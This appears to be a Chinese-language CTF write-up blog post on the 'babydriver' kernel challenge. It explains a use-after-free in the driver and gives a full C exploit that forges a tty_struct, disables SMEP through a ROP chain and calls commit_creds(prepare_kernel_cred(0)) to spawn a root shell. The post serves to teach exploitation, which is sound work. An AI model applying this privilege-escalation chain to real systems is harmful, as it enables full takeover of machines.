kernel pwn入门(2) 实战一下babydriver

参考的一些文章:

http://www.freebuf.com/articles/system/135402.html

http://bobao.360.cn/ctf/learning/205.html

这次就用国赛的这道babydriver来作为kernel pwn的第一道题吧。

首先是kernel pwn要做的事情,就是在内核空间劫持控制流完成commit_creds(prepare_kernel_cred(0))这一个调用,然后再平稳的返回用户空间开一个shell。比起一般的pwn来说,kernel pwn需要完成的操作更多,中间的坑也会很多(

这个驱动本身比较简单,漏洞也比较明显,每次开启这个驱动的时候使用的空间都是一样的,所以如果同时开启两个,再关闭一个的话,就会造成一个uaf。

这里也是阅读了wp之后才知道这个uaf的利用方法,具体的东西wp也写的很清楚了,也不再废话。

其实这道题可以不关闭smep,直接利用rop完成commit_creds(prepare_kernel_cred(0)),但是传参有点坑,prepare_kernel_cred(0)的返回值在rax中,而commit_creds的参数需要放在rdi中,相比起来还是利用rop关闭smep比较方便。

之后又学习了一下kernel的rop姿势,其实本身没有多少坑点,但是拿gdb调的时候和实际跑的情况不一样就让我很绝望。需要注意的是iretq返回用户空间的时候栈的大小一定要够,最后在这个地方迷茫了很久很久(orz

exp:

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define COMMAND 0x10001
#define MAX_FD_NUM 16
#define TTY_STRUCT_MAGIC 0x0000000100005401
#define prepare_kernel_cred_addr 0xffffffff810a1810
#define commit_creds_addr 0xffffffff810a1420

/*

ffffffff810a1810 T prepare_kernel_cred

ffffffff810a1420 T commit_creds

ffffffffc0000000 t babyrelease  [babydriver]
ffffffffc00024d0 b babydev_struct   [babydriver]
ffffffffc0000030 t babyopen [babydriver]
ffffffffc0000080 t babyioctl    [babydriver]
ffffffffc00000f0 t babywrite    [babydriver]
ffffffffc0000130 t babyread [babydriver]
ffffffffc0002440 b babydev_no   [babydriver]
ffffffffc0002460 b cdev [babydriver]
ffffffffc0002440 b __key.30361  [babydriver]
ffffffffc0002448 b babydev_class    [babydriver]
ffffffffc0000170 t babydriver_exit  [babydriver]
ffffffffc0002000 d fops [babydriver]
ffffffffc0002100 d __this_module    [babydriver]
ffffffffc0000170 t cleanup_module   [babydriver]


struct tty_operations {
    struct tty_struct * (*lookup)(struct tty_driver *driver,
            struct file *filp, int idx);
    int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
    int  (*open)(struct tty_struct * tty, struct file * filp);
    void (*close)(struct tty_struct * tty, struct file * filp);
    void (*shutdown)(struct tty_struct *tty);
    void (*cleanup)(struct tty_struct *tty);
    int  (*write)(struct tty_struct * tty,
              const unsigned char *buf, int count);
    int  (*put_char)(struct tty_struct *tty, unsigned char ch);
    void (*flush_chars)(struct tty_struct *tty);
    int  (*write_room)(struct tty_struct *tty);
    int  (*chars_in_buffer)(struct tty_struct *tty);
    int  (*ioctl)(struct tty_struct *tty,
            unsigned int cmd, unsigned long arg);
    long (*compat_ioctl)(struct tty_struct *tty,
                 unsigned int cmd, unsigned long arg);
    void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
    void (*throttle)(struct tty_struct * tty);
    void (*unthrottle)(struct tty_struct * tty);
    void (*stop)(struct tty_struct *tty);
    void (*start)(struct tty_struct *tty);
    void (*hangup)(struct tty_struct *tty);
    int (*break_ctl)(struct tty_struct *tty, int state);
    void (*flush_buffer)(struct tty_struct *tty);
    void (*set_ldisc)(struct tty_struct *tty);
    void (*wait_until_sent)(struct tty_struct *tty, int timeout);
    void (*send_xchar)(struct tty_struct *tty, char ch);
    int (*tiocmget)(struct tty_struct *tty);
    int (*tiocmset)(struct tty_struct *tty,
            unsigned int set, unsigned int clear);
    int (*resize)(struct tty_struct *tty, struct winsize *ws);
    int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
    int (*get_icount)(struct tty_struct *tty,
                struct serial_icounter_struct *icount);
#ifdef CONFIG_CONSOLE_POLL
    int (*poll_init)(struct tty_driver *driver, int line, char *options);
    int (*poll_get_char)(struct tty_driver *driver, int line);
    void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
    const struct file_operations *proc_fops;
};




*/

char buffer[2048]={0};
int fds[MAX_FD_NUM]={0};
void *iretq_addr = 0xFFFFFFFF8181A797;
void *write_cr4 = 0xFFFFFFFF810635B4;   //mov cr4, rdi ;pop rbp ;retn
void *mov_rsp_addr = 0xFFFFFFFF8181BFC5;  // mov rsp,rax ; dec ebx ; ret
void *pop_rax_rbp_addr = 0xFFFFFFFF810635F5; // pop rax; pop rbp ; ret
void *pop_rdi_rbx = 0xFFFFFFFF810769D7; // pop rdi ; pop rbx ; ret
void *swapgs_pop_rbp_addr = 0xFFFFFFFF81063694; //swapgs ; pop rbp ; ret
size_t fake_tty_struct[4]={0};
void* fake_tty_oper[30];
void* padding[1024]={0};

unsigned long user_cs, user_ss, user_rflags;

static void save_state() {
        asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "pushfq\n"
        "popq %2\n"
        : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory");
}
void get_shell()
{
    system("/bin/sh");
}
void set_uid()
{
    char* (*pkc)(int) = prepare_kernel_cred_addr;
    void (*cc)(char*) = commit_creds_addr;
    (*cc)((*pkc)(0));
}
int main()
{
    void* rop[32]={0};
    save_state();
    int i;
    for(i=0;i<30;i++)
    {
        fake_tty_oper[i]=mov_rsp_addr;
    }
    fake_tty_oper[0] = pop_rax_rbp_addr;
    fake_tty_oper[1] = &rop;
    fake_tty_oper[2] = &rop[32];
    fake_tty_oper[3] = mov_rsp_addr;   // first step rop
    rop[0] = pop_rdi_rbx;
    rop[1] = 0x6f0;
    rop[2] = 0;
    rop[3] = write_cr4;   // disable smep
    rop[4] = &buffer+1024;
    rop[5] = &set_uid;
    rop[6] = swapgs_pop_rbp_addr;
    rop[7] = 0xdeadbeef;
    rop[8] = iretq_addr;
    rop[9] = &get_shell;
    rop[10] = user_cs;                /* saved CS */
    rop[11] = user_rflags;            /* saved EFLAGS */
    rop[12] = &rop-0x100;  /* stack */
    rop[13] = user_ss;

    int fd1 = open("/dev/babydev",O_RDWR);
    int fd2 = open("/dev/babydev",O_RDWR);
    ioctl(fd1,COMMAND,0x2e0);
    ioctl(fd2,COMMAND,0x2e0);
    close(fd1);
    //printf("read done");
    for(i=0;i<MAX_FD_NUM;i++)
    {
        fds[i]=open("/dev/ptmx",O_RDWR|O_NOCTTY);
    }
    read(fd2,fake_tty_struct,8*4); // test
    fake_tty_struct[0] = TTY_STRUCT_MAGIC;
    //fake_tty_struct[2] = 0xdeadbeefdeadbeef;
    fake_tty_struct[3] = &fake_tty_oper;
    write(fd2,fake_tty_struct,8*4);
    for(i=0;i<MAX_FD_NUM;i++)
    {
        write(fds[i],buffer,8);
    }
    return 0;
}

截个提权成功的图

发表评论

电子邮件地址不会被公开。 必填项已用*标注